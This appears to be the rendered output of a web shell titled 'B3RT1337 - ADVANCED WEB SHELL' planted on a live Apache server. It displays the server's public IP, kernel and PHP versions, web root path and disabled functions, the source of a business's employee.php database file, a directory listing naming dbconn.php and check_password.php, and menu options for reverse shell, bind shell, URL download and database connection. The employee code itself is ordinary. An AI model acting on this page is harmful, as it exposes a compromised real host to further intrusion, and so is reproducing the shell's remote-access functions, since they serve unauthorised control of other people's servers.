B3RT1337 - ADVANCED WEB SHELL

Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
Apache/2.4.41 (Ubuntu)
74.208.127.88

employee.php

<?php
class sql extends dbconn {
	public function __construct()
	{
		$this->initDBO();
	}
	
	public function list_employee()
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("select * from employee where id_puesto = 2");
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "List customer";
			$stat[2] = $stmt->fetchAll(PDO::FETCH_ASSOC);
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			$stat[2] = [];
			return $stat;
		}
	}
	/*
	SELECT pr.sale_id,pr.total,pr.pay_min,pr.balance,pr.payday,pr.pay_period,
                            cus.name,cus.direccion,cus.contract
                            FROM pending_route pr
                            left JOIN customer cus ON cus.contract= pr.contract
                            where collector_id = :id_collector
	*/
	//recupera registros de employed y de routes
	public function list_employee_route()
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("select emp.id_cust, emp.poblacion, emp.contract,emp.name as name, rou.name as id_ruta, emp.phone, emp.created_at as created_at from employee emp left JOIN routes rou ON rou.id = emp.id_ruta where id_puesto = 2");
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "List customer";
			$stat[2] = $stmt->fetchAll(PDO::FETCH_ASSOC);
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			$stat[2] = [];
			return $stat;
		}
	}
	
	//empleo
	public function list_job()
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("select * from job order by id_cust desc limit 100");
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "List job";
			$stat[2] = $stmt->fetchAll(PDO::FETCH_ASSOC);
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			$stat[2] = [];
			return $stat;
		}
	}
	//registro empleado nuevo
	public function new_customer($contrato,$name,$country,$phone,$gender,$ruta)
	{
		$db = $this->dblocal;
		try
		{
			$kind=2;
			$stmt = $db->prepare("insert into employee(contract, name,poblacion,phone,id_ruta,id_puesto) values (:contrato,:name,:country,:phone,:gender,:ruta)");
			$stmt->bindParam("contrato",$contrato);
			$stmt->bindParam("name",$name);
			$stmt->bindParam("country",$country);
			$stmt->bindParam("phone",$phone);
			$stmt->bindParam("gender",$gender);
			$stmt->bindParam("ruta",$ruta);
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "Registro De empleado";
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			return $stat;
		}
	}

public function list_customer()
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("select * from supplier  ");
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "List customer";
			$stat[2] = $stmt->fetchAll(PDO::FETCH_ASSOC);
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			$stat[2] = [];
			return $stat;
		}
	}

//edicion de empleado 
	public function edit_employee($code,$nombre,$contract,$id_ruta,$country,$telefono,$puesto)
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("update employee set name = :nombre, contract = :contract,id_ruta=:id_ruta, poblacion=:country, phone = :telefono , id_puesto = :puesto where id_cust = :code ");
			$stmt->bindParam("code",$code);
			$stmt->bindParam("nombre",$nombre);
			$stmt->bindParam("contract",$contract);
			$stmt->bindParam("id_ruta",$id_ruta);
			$stmt->bindParam("country",$country);
			$stmt->bindParam("telefono",$telefono);
			$stmt->bindParam("puesto",$puesto);
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "Actualizacion de empleaado";
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			return $stat;
		}
	}

public function delete_employee($id)
	{
		$db = $this->dblocal;
		try
		{
			$stmt = $db->prepare("delete from employee where id_cust = :id");
			$stmt->bindParam("id",$id);
			$stmt->execute();
			$stat[0] = true;
			$stat[1] = "Success delete customer";
			return $stat;
		}
		catch(PDOException $ex)
		{
			$stat[0] = false;
			$stat[1] = $ex->getMessage();
			return $stat;
		}
	}

}

Back

Name	Type	Size	Owner/Group	Permission	Modified
.	dir	-	root/root	0755	2025-11-06 19:48
..	dir	-	root/root	0755	2025-03-03 10:42
nppBackup	dir	-	root/root	0755	2025-01-02 00:53
category.php	text/x-php	3.43 KB	root/root	0644	2022-07-04 05:38
check_password.php	text/x-php	277 B	root/root	0644	2024-03-22 00:51
cliente_ultimo.php	text/x-php	188 B	root/root	0644	2022-07-22 20:33
clientes.php	text/x-php	5.03 KB	root/root	0644	2022-07-04 02:07
collection.php	text/x-php	2.88 KB	root/root	0644	2021-10-28 19:43
dbconn.php	text/x-php	611 B	root/root	0644	2022-07-22 20:33
employee.php	text/x-php	4.15 KB	root/root	0644	2022-07-02 14:53
index.php	text/x-php	343 B	root/root	0644	2017-04-19 19:47
pos.php	text/x-php	150.06 KB	root/root	0644	2025-11-06 19:48
reporte1.php	text/plain	401 B	root/root	0644	2025-02-27 19:01
reporte2.php	text/plain	401 B	root/root	0644	2025-02-27 18:47
reporte3.php	text/plain	401 B	root/root	0644	2025-02-28 23:26
reporte4.php	text/x-php	400 B	root/root	0644	2025-02-28 23:26
reporte5.php	text/x-php	400 B	root/root	0644	2025-02-28 23:27
reporteO.php	text/plain	291 B	root/root	0644	2023-09-08 11:39
select.php	text/x-php	1.27 KB	root/root	0644	2022-07-22 20:34
select2.php	text/x-php	1.29 KB	root/root	0644	2022-07-22 20:34
select_category.php	text/x-php	1.36 KB	root/root	0644	2023-10-06 12:34
select_employee.php	text/x-php	1.69 KB	root/root	0644	2024-05-02 14:39
select_employee2.php	text/x-php	1.68 KB	root/root	0644	2024-05-02 17:47
select_price.php	text/x-php	1.27 KB	root/root	0644	2022-07-22 20:34
select_puesto.php	text/x-php	1.4 KB	root/root	0644	2022-07-22 20:34
select_route.php	text/x-php	1.4 KB	root/root	0644	2022-07-22 20:34
select_seller.php	text/x-php	1.37 KB	root/root	0644	2024-05-02 17:48
sql.php	text/x-php	6.65 KB	root/root	0644	2024-12-23 22:39
sql2.php	text/x-php	3.52 KB	root/root	0644	2021-10-01 20:34
stock_id.php	text/x-php	1.29 KB	root/root	0644	2022-07-22 20:34

Database Connection

Reverse Shell

Bind Shell

Download from URL

Mass Downloader

System Information

Uname: Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64PHP Version: 7.4.3-4ubuntu2.29Server Software: Apache/2.4.41 (Ubuntu)Server Protocol: HTTP/1.1Server IP: 74.208.127.88Server Port: 443Current User: www-dataCurrent Directory: /var/www/html/muebles/application/modelDisabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

PHP Configuration

allow_url_fopen: 1
allow_url_include: 
disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
open_basedir: 
safe_mode: 
memory_limit: 128M
max_execution_time: 0
upload_max_filesize: 2M
post_max_size: 8M

Loaded Extensions

Core, date, libxml, openssl, pcre, zlib, filter, hash, Reflection, SPL, session, standard, sodium, apache2handler, mysqlnd, PDO, xml, bz2, calendar, ctype, curl, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, iconv, json, exif, mysqli, pdo_mysql, Phar, posix, readline, shmop, SimpleXML, soap, sockets, sysvmsg, sysvsem, sysvshm, tokenizer, xmlreader, xmlwriter, xsl, zip, Zend OPcache